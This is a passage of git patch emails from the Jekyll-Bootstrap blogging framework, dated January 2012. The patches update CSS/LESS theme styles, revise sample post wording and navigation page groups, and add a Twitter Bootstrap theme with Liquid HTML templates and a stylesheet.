rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + -webkit-transition-duration: 0.2s; + -moz-transition-duration: 0.2s; + transition-duration: 0.2s; + -webkit-user-select:none; + -moz-user-select:none; + -ms-user-select:none; + user-select:none; + &:link {} + &:active { + -webkit-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); + -moz-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); + box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); + background: darken(@green, 40%); + border: solid darken(@green, 40%); + } + &:hover { + background-color: darken(@green, 10%); + border: 1px solid darken(@green, 40%); + } + } + } } // .page-post /* FOOTER From 4bcfd7aec6b57d344ed657cfde7b67418139119b Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Fri, 13 Jan 2012 10:44:12 +0900 Subject: [PATCH 017/144] add more detail --- assets/themes/the-minimum/css/helper.css | 3 -- assets/themes/the-minimum/css/style.css | 64 ++++++++++++++++++++++-- assets/themes/the-minimum/css/style.less | 61 ++++++++++++++++++++-- 3 files changed, 117 insertions(+), 11 deletions(-) diff --git a/assets/themes/the-minimum/css/helper.css b/assets/themes/the-minimum/css/helper.css index 9345473..1c3b77b 100644 --- a/assets/themes/the-minimum/css/helper.css +++ b/assets/themes/the-minimum/css/helper.css @@ -1,6 +1,3 @@ ---- ---- - /* helper.css contains non-semantic helper classes This must be the last file to import diff --git a/assets/themes/the-minimum/css/style.css b/assets/themes/the-minimum/css/style.css index 7bde68d..2aa4a02 100644 --- a/assets/themes/the-minimum/css/style.css +++ b/assets/themes/the-minimum/css/style.css @@ -198,13 +198,16 @@ pre { } pre { color: #f2f2f2; - background-color: #2d2d2d; - border: 1px solid #2d2d2d; + background-color: #393939; + border: 1px solid #393939; font-family: "Bitstream Vera Sans Mono", "Courier New", Courier, monospace; margin-left: 0; margin-right: 0; padding: 1.625em; overflow: auto; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); } /* meta */ /* HEADER @@ -369,6 +372,28 @@ pre { .unit-article .list-linear .list-head { margin-right: 4px; } +.unit-article .list-category a, .unit-article .list-tag a { + border: 0 none; +} +.unit-article .list-category a:hover span, .unit-article .list-tag a:hover span { + background-color: #f99157; +} +.unit-article .list-category span, .unit-article .list-tag span { + background-color: #e25608; + padding: 1px 5px; + -webkit-border-radius: 10px; + -moz-border-radius: 10px; + border-radius: 10px; + color: white; + text-transform: uppercase; + margin: 0 6px 0 0; + display: inline-block; + position: relative; + vertical-align: middle; + top: -2px; + font-weight: bold; + font-size: 10px; +} .unit-article .list-category { margin-bottom: 0; text-transform: capitalize; @@ -377,7 +402,7 @@ pre { text-transform: capitalize; } .unit-article .unit-foot { - background: #4d4d4d; + background: url('/assets/themes/the-minimum/skin/100-90-5-monochrome.png') repeat 0 0 #4d4d4d; color: #fafafa; padding-top: 1.625em; padding-bottom: 1.625em; @@ -403,9 +428,18 @@ pre { } /* post & page */ .layout-page .tag_box { - background-color: #999999; + background: url('/assets/themes/the-minimum/skin/100-90-5-monochrome.png') repeat 0 0 #999999; padding: 0.8125em; list-style: none; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + -moz-background-clip: padding; + -webkit-background-clip: padding-box; + background-clip: padding-box; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2), 0 1px 0 rgba(255, 255, 255, 0.4); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2), 0 1px 0 rgba(255, 255, 255, 0.4); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.4), 0 1px 0 rgba(255, 255, 255, 0.4); } .layout-page .tag_box li { display: inline; @@ -447,6 +481,28 @@ pre { background-color: #77bb77; border: 1px solid #336633; } +.layout-page .tag_box a:hover span { + background-color: #e1e1e1; + border: 1px solid #77bb77; +} +.layout-page .tag_box span { + background-color: #fafafa; + border: 1px solid #99cc99; + padding: 1px 5px; + -webkit-border-radius: 10px; + -moz-border-radius: 10px; + border-radius: 10px; + color: #1a1a1a; + display: inline-block; + position: relative; + vertical-align: middle; + top: -2px; + font-weight: bold; + font-size: 10px; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); +} /* FOOTER ----------------------------------------------- */ .the-footer { diff --git a/assets/themes/the-minimum/css/style.less b/assets/themes/the-minimum/css/style.less index 0c52066..e378ae5 100644 --- a/assets/themes/the-minimum/css/style.less +++ b/assets/themes/the-minimum/css/style.less @@ -36,13 +36,16 @@ a { pre { margin-bottom: @line-height / @em; } pre { color: #f2f2f2; - background-color: @base03; - border: 1px solid fadein(@base03, 30%); + background-color: @base02; + border: 1px solid fadein(@base02, 30%); font-family: "Bitstream Vera Sans Mono", "Courier New", Courier, monospace; margin-left: 0; margin-right: 0; padding: @line-height / @em; overflow: auto; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); } /* meta */ @@ -153,6 +156,26 @@ pre { .date-publish { margin-bottom: 0; } .list-linear .list-head { margin-right: 4px; } + .list-category a, .list-tag a { + border: 0 none; + &:hover span { background-color: @orange; } + } + .list-category span, .list-tag span { + background-color: darken(@orange, 20%); + padding: 1px 5px; + -webkit-border-radius: 10px; + -moz-border-radius: 10px; + border-radius: 10px; + color: white; + text-transform: uppercase; + margin: 0 6px 0 0; + display: inline-block; + position: relative; + vertical-align: middle; + top: -2px; + font-weight: bold; + font-size: 10px; + } .list-category { margin-bottom: 0; text-transform: capitalize; @@ -163,7 +186,7 @@ pre { } .unit-foot { - background: #4d4d4d; + background: url('@{noise-100-90-5}') repeat 0 0 #4d4d4d; color: #fafafa; a { &:link { color: #fafafa; } @@ -185,9 +208,16 @@ pre { /* post & page */ .layout-page { .tag_box { - background-color: @subtle; + background: url('@{noise-100-90-5}') repeat 0 0 @subtle; padding: (@line-height / @em) / 2; list-style: none; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + -moz-background-clip: padding; -webkit-background-clip: padding-box; background-clip: padding-box; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2), 0 1px 0 rgba(255, 255, 255, 0.4); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2), 0 1px 0 rgba(255, 255, 255, 0.4); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.4), 0 1px 0 rgba(255, 255, 255, 0.4); li { display: inline; line-height: normal; @@ -225,8 +255,31 @@ pre { &:hover { background-color: darken(@green, 10%); border: 1px solid darken(@green, 40%); + span { + background-color: darken(#fafafa, 10%); + border: 1px solid darken(@green, 10%); + } } } + span { + background-color: #fafafa; + border: 1px solid @green; + padding: 1px 5px; + -webkit-border-radius: 10px; + -moz-border-radius: 10px; + border-radius: 10px; + color: #1a1a1a; + display: inline-block; + position: relative; + vertical-align: middle; + top: -2px; + font-weight: bold; + font-size: 10px; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); + } + } } // .page-post From 5abba311dcbb69e67b025da26fed32a19e7c0852 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:47:58 -0800 Subject: [PATCH 018/144] sample content updates --- .../core-samples/helpers/2011-9-27-posts-collate.md | 2 +- .../usage/2011-10-28-deployment-and-hosting.md | 2 +- .../usage/2011-10-31-jekyll-quick-start.md | 13 ++++++------- index.md | 2 +- sitemap.txt | 1 + 5 files changed, 10 insertions(+), 10 deletions(-) diff --git a/_posts/core-samples/helpers/2011-9-27-posts-collate.md b/_posts/core-samples/helpers/2011-9-27-posts-collate.md index 299f6cb..1740bd7 100644 --- a/_posts/core-samples/helpers/2011-9-27-posts-collate.md +++ b/_posts/core-samples/helpers/2011-9-27-posts-collate.md @@ -4,7 +4,7 @@ categories : helpers --- The posts collate helper organizes and lists posts in month/year clusters. -The posts collate helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. +The posts collate helper follows the [Jekyll-bootstrap include helper](/api/bootstrap-api.html) strategy. ## Usage diff --git a/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md b/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md index 64bb0b4..638ff25 100644 --- a/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md +++ b/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md @@ -1,5 +1,5 @@ --- -layout: page +layout: post categories : usage --- diff --git a/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md b/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md index e09e07c..516e6ed 100644 --- a/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md +++ b/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md @@ -4,10 +4,10 @@ categories : usage --- -## 1. Install Jekyll-Bootstrap-Core +## 1. Install Jekyll-Bootstrap -[Install Jekyll-Bootsrap-Core](/index.html#start-now) if you haven't already. -Jekyll-bootstrap-core is a clean base framework for your blog. +[Install Jekyll-Bootsrap](/index.html#start-now) if you haven't already. +Jekyll-bootstrap is a clean base framework for your blog. It includes two themes, some useful pages, and bootstrap include-helpers. ## 2. Run Jekyll Locally @@ -19,7 +19,7 @@ In order to preview your blog locally you'll need to install the jekyll gem. Not If you run into a problem please consult the original [Jekyll installation documentation](https://github.com/mojombo/jekyll/wiki/Install). You can also [contact me](http://github.com/plusjade) through github. -Once the gem is installed you can navigate to your Jekyll-bootstrap-core directory +Once the gem is installed you can navigate to your Jekyll-bootstrap directory and run jekyll: $ cd jekyll-bootstrap @@ -30,7 +30,7 @@ Your blog is now available at: [http://localhost:4000/](http://localhost:4000/). ## 2. Choose a Theme -Jekyll-bootstrap-core has a basic theming system that I'll be steadily improving. +Jekyll-bootstrap has a basic theming system that I'll be steadily improving. You can read about how to choose and customize a theme in the [Theming](/usages/theming.html) section. ## 3. Create Some Content @@ -50,7 +50,6 @@ You can study the source and customize it for your own needs. <ul> {% assign pages_list = site.pages %} -{% assign group = "example-page" %} {% include helpers/pages_list.html %} </ul> @@ -63,7 +62,7 @@ A GitHub post-commit hook will automatically deploy your changes to your hosted ## 5. Customize -Jekyll-bootstrap-core can be used as-is as a basic blogging platform with little need +Jekyll-bootstrap can be used as-is as a basic blogging platform with little need to understand what's going on under the hood. However I'm betting you want to get your hands dirty. diff --git a/index.md b/index.md index 14f94fe..03f605c 100644 --- a/index.md +++ b/index.md @@ -1,6 +1,6 @@ --- layout: page -title: Hello from Jekyll-Bootstrap-Core +title: Hello from Jekyll-Bootstrap header: This is Jekyll-Bootstrap --- diff --git a/sitemap.txt b/sitemap.txt index 59367c5..25c568f 100644 --- a/sitemap.txt +++ b/sitemap.txt @@ -1,5 +1,6 @@ --- # Remember to set production_url in your _config.yml file! +title : Sitemap --- {% for page in site.pages %} {{site.production_url}}{{ page.url }}{% endfor %} From ef17645ef8b2028661079ff3d2b10b34684d4204 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:50:03 -0800 Subject: [PATCH 019/144] specify page group 'navigation' Also clean out pages.html and just list all pages --- archive.html | 2 +- categories.html | 2 +- pages.html | 16 +--------------- tags.html | 2 +- 4 files changed, 4 insertions(+), 18 deletions(-) diff --git a/archive.html b/archive.html index 3e622e7..625253f 100644 --- a/archive.html +++ b/archive.html @@ -2,7 +2,7 @@ layout: page title : Archive header : Post Archive -group: example-page +group: navigation --- {% assign posts_collate = site.posts %} diff --git a/categories.html b/categories.html index b13d596..dba5f4f 100644 --- a/categories.html +++ b/categories.html @@ -2,7 +2,7 @@ layout: page title: Categories header: Posts By Category -group: example-page +group: navigation --- <ul class="tag_box"> diff --git a/pages.html b/pages.html index d7fd5ac..4d39d0d 100644 --- a/pages.html +++ b/pages.html @@ -2,7 +2,7 @@ layout: page title: Pages header: Pages -group: example-page +group: navigation --- <h2>All Pages</h2> @@ -10,17 +10,3 @@ <h2>All Pages</h2> {% assign pages_list = site.pages %} {% include helpers/pages_list.html %} </ul> - -<h2>Pages in group: project</h2> -<ul> -{% assign pages_list = site.pages %} -{% assign group = 'project' %} -{% include helpers/pages_list.html %} -</ul> - -<h2>Pages in group: example-page</h2> -<ul> -{% assign pages_list = site.pages %} -{% assign group = 'example-page' %} -{% include helpers/pages_list.html %} -</ul> diff --git a/tags.html b/tags.html index 947f0b7..f827adc 100644 --- a/tags.html +++ b/tags.html @@ -2,7 +2,7 @@ layout: page title: Tags header: Posts By Tag -group: example-page +group: navigation --- <ul class="tag_box"> From 23836110c95113492fb7598f473d09bf555cca4e Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:50:49 -0800 Subject: [PATCH 020/144] add little arrow to collated list --- _includes/helpers/posts_collate.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/helpers/posts_collate.html b/_includes/helpers/posts_collate.html index 7e55554..210bd03 100644 --- a/_includes/helpers/posts_collate.html +++ b/_includes/helpers/posts_collate.html @@ -29,7 +29,7 @@ <h3>{{this_month}}</h3> <ul> {% endif %} - <li><span>{{ post.date | date: "%B %e, %Y" }}</span> <a href="{{ post.url }}">{{ post.title }}</a></li> + <li><span>{{ post.date | date: "%B %e, %Y" }}</span> » <a href="{{ post.url }}">{{ post.title }}</a></li> {% if forloop.last %} </ul> From eca5de05bc87a14f08b9e671ed9e0a69c438b520 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:51:35 -0800 Subject: [PATCH 021/144] assign active class to li --- _includes/helpers/pages_list.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/helpers/pages_list.html b/_includes/helpers/pages_list.html index 44c5279..0e42820 100644 --- a/_includes/helpers/pages_list.html +++ b/_includes/helpers/pages_list.html @@ -25,7 +25,7 @@ {% if group == null or group == node.group %} {% if page.url == node.url %} - <li><a href="{{node.url}}" class="active">{{node.title}}</a></li> + <li class="active"><a href="{{node.url}}" class="active">{{node.title}}</a></li> {% else %} <li><a href="{{node.url}}">{{node.title}}</a></li> {% endif %} From 4aadec216a6799700b13b1bb97733791a573e16a Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 12 Jan 2012 12:53:23 -0800 Subject: [PATCH 022/144] add twitter bootstrap theme --- _includes/themes/twitter/default.html | 58 +++ _includes/themes/twitter/page.html | 9 + _includes/themes/twitter/post.html | 38 ++ assets/themes/twitter/css/1.4.0/bootstrap.css | 356 ++++++++++++++++++ assets/themes/twitter/css/style.css | 71 ++++ 5 files changed, 532 insertions(+) create mode 100644 _includes/themes/twitter/default.html create mode 100644 _includes/themes/twitter/page.html create mode 100644 _includes/themes/twitter/post.html create mode 100644 assets/themes/twitter/css/1.4.0/bootstrap.css create mode 100644 assets/themes/twitter/css/style.css diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html new file mode 100644 index 0000000..d149bd5 --- /dev/null +++ b/_includes/themes/twitter/default.html @@ -0,0 +1,58 @@ +<!DOCTYPE html> +<html lang="en"> + <head> + <meta charset="utf-8"> + <title>{{ page.title }}</title> + {% if page.description %}<meta name="description" content="{{ page.description }}">{% endif %} + <meta name="author" content="{{ site.author.name }}"> + + <!-- Le HTML5 shim, for IE6-8 support of HTML elements --> + <!--[if lt IE 9]> + <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> + <![endif]--> + + <!-- Le styles --> + <link href="{{ theme_asset_path }}/css/1.4.0/bootstrap.css" rel="stylesheet"> + <link href="{{ theme_asset_path }}/css/style.css?body=1" rel="stylesheet" type="text/css" media="all"> + + <!-- Le fav and touch icons --> + <!-- Update these with your own images + <link rel="shortcut icon" href="images/favicon.ico"> + <link rel="apple-touch-icon" href="images/apple-touch-icon.png"> + <link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png"> + <link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png"> + --> + </head> + + <body> + + <div class="topbar"> + <div class="fill"> + <div class="container"> + <a class="brand" href="/">{{ site.title }}</a> + <ul class="nav"> + {% assign pages_list = site.pages %} + {% assign group = 'navigation' %} + {% include helpers/pages_list.html %} + </ul> + </div> + </div> + </div> + + <div class="container"> + + <div class="content"> + {{ content }} + </div> + + <footer> + <p>© {{ site.author.name }} 2012 + with help from <a href="http://jekyllbootstrap.com" target="_blank" title="The Definitive Jekyll Blogging Framework">Jekyll Bootstrap</a> + and <a href="http://twitter.github.com/bootstrap/" target="_blank">Twitter Bootstrap</a> + </p> + </footer> + + </div> <!-- /container --> + + </body> +</html> diff --git a/_includes/themes/twitter/page.html b/_includes/themes/twitter/page.html new file mode 100644 index 0000000..7ac6fab --- /dev/null +++ b/_includes/themes/twitter/page.html @@ -0,0 +1,9 @@ +<div class="page-header"> + <h1>{{ page.title }} <small>Supporting tagline</small></h1> +</div> + +<div class="row"> + <div class="span14"> + {{ content }} + </div> +</div> diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html new file mode 100644 index 0000000..81b0931 --- /dev/null +++ b/_includes/themes/twitter/post.html @@ -0,0 +1,38 @@ +<div class="page-header"> + <h1>{{ page.title }} <small>Supporting tagline</small></h1> +</div> + +<div class="row"> + <div class="span10"> + {{ content }} + <hr> + <div class="pagination"> + <ul> + {% if page.previous %} + <li class="prev"><a href="{{ page.previous.url }}" title="{{ page.previous.title }}">← Previous</a></li> + {% else %} + <li class="prev disabled"><a>← Previous</a></li> + {% endif %} + <li><a href="/archive.html">Archive</a></li> + {% if page.next %} + <li class="next"><a href="{{ page.next.url }}" title="{{ page.next.title }}">Next →</a></li> + {% else %} + <li class="next disabled"><a>Next →</a> + {% endif %} + </ul> + </div> + </div> + + <div class="span4"> + <h4>Published</h4> + <div class="date"><span>{{ page.date | date_to_long_string }}</span></div> + + {% unless page.tags == empty %} + <h4>Tags</h4> + <ul class="tag_box"> + {% assign tags_list = page.tags %} + {% include helpers/tags_list.html %} + </ul> + {% endunless %} + </div> +</div> diff --git a/assets/themes/twitter/css/1.4.0/bootstrap.css b/assets/themes/twitter/css/1.4.0/bootstrap.css new file mode 100644 index 0000000..a43fcf7 --- /dev/null +++ b/assets/themes/twitter/css/1.4.0/bootstrap.css @@ -0,0 +1,356 @@ +html,body{margin:0;padding:0;} +h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,cite,code,del,dfn,em,img,q,s,samp,small,strike,strong,sub,sup,tt,var,dd,dl,dt,li,ol,ul,fieldset,form,label,legend,button,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;border:0;font-weight:normal;font-style:normal;font-size:100%;line-height:1;font-family:inherit;} +table{border-collapse:collapse;border-spacing:0;} +ol,ul{list-style:none;} +q:before,q:after,blockquote:before,blockquote:after{content:"";} +html{overflow-y:scroll;font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;} +a:focus{outline:thin dotted;} +a:hover,a:active{outline:0;} +article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block;} +audio,canvas,video{display:inline-block;*display:inline;*zoom:1;} +audio:not([controls]){display:none;} +sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;} +sup{top:-0.5em;} +sub{bottom:-0.25em;} +img{border:0;-ms-interpolation-mode:bicubic;} +button,input,select,textarea{font-size:100%;margin:0;vertical-align:baseline;*vertical-align:middle;} +button,input{line-height:normal;*overflow:visible;} +button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0;} +button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button;} +input[type="search"]{-webkit-appearance:textfield;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;} +input[type="search"]::-webkit-search-decoration{-webkit-appearance:none;} +textarea{overflow:auto;vertical-align:top;} +body{background-color:#ffffff;margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:18px;color:#404040;} +.container{width:940px;margin-left:auto;margin-right:auto;zoom:1;}.container:before,.container:after{display:table;content:"";zoom:1;} +.container:after{clear:both;} +.container-fluid{position:relative;min-width:940px;padding-left:20px;padding-right:20px;zoom:1;}.container-fluid:before,.container-fluid:after{display:table;content:"";zoom:1;} +.container-fluid:after{clear:both;} +.container-fluid>.sidebar{position:absolute;top:0;left:20px;width:220px;} +.container-fluid>.content{margin-left:240px;} +a{color:#0069d6;text-decoration:none;line-height:inherit;font-weight:inherit;}a:hover{color:#00438a;text-decoration:underline;} +.pull-right{float:right;} +.pull-left{float:left;} +.hide{display:none;} +.show{display:block;} +.row{zoom:1;margin-left:-20px;}.row:before,.row:after{display:table;content:"";zoom:1;} +.row:after{clear:both;} +.row>[class*="span"]{display:inline;float:left;margin-left:20px;} +.span1{width:40px;} +.span2{width:100px;} +.span3{width:160px;} +.span4{width:220px;} +.span5{width:280px;} +.span6{width:340px;} +.span7{width:400px;} +.span8{width:460px;} +.span9{width:520px;} +.span10{width:580px;} +.span11{width:640px;} +.span12{width:700px;} +.span13{width:760px;} +.span14{width:820px;} +.span15{width:880px;} +.span16{width:940px;} +.span17{width:1000px;} +.span18{width:1060px;} +.span19{width:1120px;} +.span20{width:1180px;} +.span21{width:1240px;} +.span22{width:1300px;} +.span23{width:1360px;} +.span24{width:1420px;} +.row>.offset1{margin-left:80px;} +.row>.offset2{margin-left:140px;} +.row>.offset3{margin-left:200px;} +.row>.offset4{margin-left:260px;} +.row>.offset5{margin-left:320px;} +.row>.offset6{margin-left:380px;} +.row>.offset7{margin-left:440px;} +.row>.offset8{margin-left:500px;} +.row>.offset9{margin-left:560px;} +.row>.offset10{margin-left:620px;} +.row>.offset11{margin-left:680px;} +.row>.offset12{margin-left:740px;} +.span-one-third{width:300px;} +.span-two-thirds{width:620px;} +.row>.offset-one-third{margin-left:340px;} +.row>.offset-two-thirds{margin-left:660px;} +p{font-size:13px;font-weight:normal;line-height:18px;margin-bottom:9px;}p small{font-size:11px;color:#bfbfbf;} +h1,h2,h3,h4,h5,h6{font-weight:bold;color:#404040;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{color:#bfbfbf;} +h1{margin-bottom:18px;font-size:30px;line-height:36px;}h1 small{font-size:18px;} +h2{font-size:24px;line-height:36px;}h2 small{font-size:14px;} +h3,h4,h5,h6{line-height:36px;} +h3{font-size:18px;}h3 small{font-size:14px;} +h4{font-size:16px;}h4 small{font-size:12px;} +h5{font-size:14px;} +h6{font-size:13px;color:#bfbfbf;text-transform:uppercase;} +ul,ol{margin:0 0 18px 25px;} +ul ul,ul ol,ol ol,ol ul{margin-bottom:0;} +ul{list-style:disc;} +ol{list-style:decimal;} +li{line-height:18px;color:#808080;} +ul.unstyled{list-style:none;margin-left:0;} +dl{margin-bottom:18px;}dl dt,dl dd{line-height:18px;} +dl dt{font-weight:bold;} +dl dd{margin-left:9px;} +hr{margin:20px 0 19px;border:0;border-bottom:1px solid #eee;} +strong{font-style:inherit;font-weight:bold;} +em{font-style:italic;font-weight:inherit;line-height:inherit;} +.muted{color:#bfbfbf;} +blockquote{margin-bottom:18px;border-left:5px solid #eee;padding-left:15px;}blockquote p{font-size:14px;font-weight:300;line-height:18px;margin-bottom:0;} +blockquote small{display:block;font-size:12px;font-weight:300;line-height:18px;color:#bfbfbf;}blockquote small:before{content:'\2014 \00A0';} +address{display:block;line-height:18px;margin-bottom:18px;} +code,pre{padding:0 3px 2px;font-family:Monaco, Andale Mono, Courier New, monospace;font-size:12px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +code{background-color:#fee9cc;color:rgba(0, 0, 0, 0.75);padding:1px 3px;} +pre{background-color:#f5f5f5;display:block;padding:8.5px;margin:0 0 18px;line-height:18px;font-size:12px;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;white-space:pre;white-space:pre-wrap;word-wrap:break-word;} +form{margin-bottom:18px;} +fieldset{margin-bottom:18px;padding-top:18px;}fieldset legend{display:block;padding-left:150px;font-size:19.5px;line-height:1;color:#404040;*padding:0 0 5px 145px;*line-height:1.5;} +form .clearfix{margin-bottom:18px;zoom:1;}form .clearfix:before,form .clearfix:after{display:table;content:"";zoom:1;} +form .clearfix:after{clear:both;} +label,input,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:normal;} +label{padding-top:6px;font-size:13px;line-height:18px;float:left;width:130px;text-align:right;color:#404040;} +form .input{margin-left:150px;} +input[type=checkbox],input[type=radio]{cursor:pointer;} +input,textarea,select,.uneditable-input{display:inline-block;width:210px;height:18px;padding:4px;font-size:13px;line-height:18px;color:#808080;border:1px solid #ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +select{padding:initial;} +input[type=checkbox],input[type=radio]{width:auto;height:auto;padding:0;margin:3px 0;*margin-top:0;line-height:normal;border:none;} +input[type=file]{background-color:#ffffff;padding:initial;border:initial;line-height:initial;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +input[type=button],input[type=reset],input[type=submit]{width:auto;height:auto;} +select,input[type=file]{height:27px;*height:auto;line-height:27px;*margin-top:4px;} +select[multiple]{height:inherit;background-color:#ffffff;} +textarea{height:auto;} +.uneditable-input{background-color:#ffffff;display:block;border-color:#eee;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);cursor:not-allowed;} +:-moz-placeholder{color:#bfbfbf;} +::-webkit-input-placeholder{color:#bfbfbf;} +input,textarea{-webkit-transition:border linear 0.2s,box-shadow linear 0.2s;-moz-transition:border linear 0.2s,box-shadow linear 0.2s;-ms-transition:border linear 0.2s,box-shadow linear 0.2s;-o-transition:border linear 0.2s,box-shadow linear 0.2s;transition:border linear 0.2s,box-shadow linear 0.2s;-webkit-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);-moz-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);} +input:focus,textarea:focus{outline:0;border-color:rgba(82, 168, 236, 0.8);-webkit-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);-moz-box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1),0 0 8px rgba(82, 168, 236, 0.6);} +input[type=file]:focus,input[type=checkbox]:focus,select:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;outline:1px dotted #666;} +form .clearfix.error>label,form .clearfix.error .help-block,form .clearfix.error .help-inline{color:#b94a48;} +form .clearfix.error input,form .clearfix.error textarea{color:#b94a48;border-color:#ee5f5b;}form .clearfix.error input:focus,form .clearfix.error textarea:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7;} +form .clearfix.error .input-prepend .add-on,form .clearfix.error .input-append .add-on{color:#b94a48;background-color:#fce6e6;border-color:#b94a48;} +form .clearfix.warning>label,form .clearfix.warning .help-block,form .clearfix.warning .help-inline{color:#c09853;} +form .clearfix.warning input,form .clearfix.warning textarea{color:#c09853;border-color:#ccae64;}form .clearfix.warning input:focus,form .clearfix.warning textarea:focus{border-color:#be9a3f;-webkit-box-shadow:0 0 6px #e5d6b1;-moz-box-shadow:0 0 6px #e5d6b1;box-shadow:0 0 6px #e5d6b1;} +form .clearfix.warning .input-prepend .add-on,form .clearfix.warning .input-append .add-on{color:#c09853;background-color:#d2b877;border-color:#c09853;} +form .clearfix.success>label,form .clearfix.success .help-block,form .clearfix.success .help-inline{color:#468847;} +form .clearfix.success input,form .clearfix.success textarea{color:#468847;border-color:#57a957;}form .clearfix.success input:focus,form .clearfix.success textarea:focus{border-color:#458845;-webkit-box-shadow:0 0 6px #9acc9a;-moz-box-shadow:0 0 6px #9acc9a;box-shadow:0 0 6px #9acc9a;} +form .clearfix.success .input-prepend .add-on,form .clearfix.success .input-append .add-on{color:#468847;background-color:#bcddbc;border-color:#468847;} +.input-mini,input.mini,textarea.mini,select.mini{width:60px;} +.input-small,input.small,textarea.small,select.small{width:90px;} 